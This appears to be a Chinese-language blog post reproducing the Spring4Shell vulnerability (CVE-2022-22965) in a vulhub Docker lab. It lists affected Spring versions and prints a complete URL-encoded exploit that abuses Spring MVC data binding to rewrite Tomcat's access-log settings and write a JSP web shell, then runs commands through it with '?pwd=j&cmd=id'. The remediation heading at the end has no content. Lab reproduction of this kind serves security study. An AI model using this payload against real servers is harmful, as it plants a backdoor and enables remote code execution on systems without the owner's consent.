一、漏洞详情
Spring Framework 是一个开源应用框架,初衷是为了降低应用程序开发的复杂度,具有分层体系结构,允许用户选择组件,同时还为J2EE应用程序
开发提供一个好用的框架。
这个漏洞的主要原因是在JDK 9+版本里,Spring MVC 的数据绑定时出现的漏洞,当Spring部署在JDK9及以上版本
,远程攻击者可利用该漏洞写入恶意代码导致远程代码执行
。
二、影响版本
- Spring Framework 5.3.X < 5.3.18
- Spring Framework 5.2.X < 5.2.20
- 注:其他小版本未更新均受影响
不受影响版本
- Spring Framework == 5.3.18
- Spring Framework == 5.2.20
如上述条件有其中一项不满足,都无法造成危害!
三、漏洞复现
- 漏洞环境:vulhub集成环境
- 操作系统:KALI
- Github:https://github.com/vulhub/vulhub/tree/master/spring/CVE-2022-22965
启动环境 docker-compose up -d
docker ps
//查看进程
本地浏览器访问,出现如下界面,服务搭建成功!
漏洞Exp
?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
将数据进行替换,点击Send发送
suffix: %>//
c1: Runtime
c2: <%
DNT: 1
Content-Length: 2
返回响应200,接下来以GET方式访问/tomcatwar.jsp?pwd=j&cmd=id
,命令执行成功!
注意,在这里的多次执行会不断的往日志写文件,请勿频繁操作!
进入容器中查看文件内容
重要事情说三遍
,说三遍
,说三遍
不要频繁的往里面写,不然日志文件会爆满,消除方法就是使用 get 请求( vulhub 专属),停止写日志:
http://X.X.X.X:8080/?class.module.classLoader.resources.context.parent.pipeline.first.pattern=
四、漏洞原理分析
参考如下文章,对原理深度剖析:https://it.sohu.com/a/535760028_121292904
视频参考:https://www.bilibili.com/video/BV1H44y1V7P8
五、修复方法(仅供参考)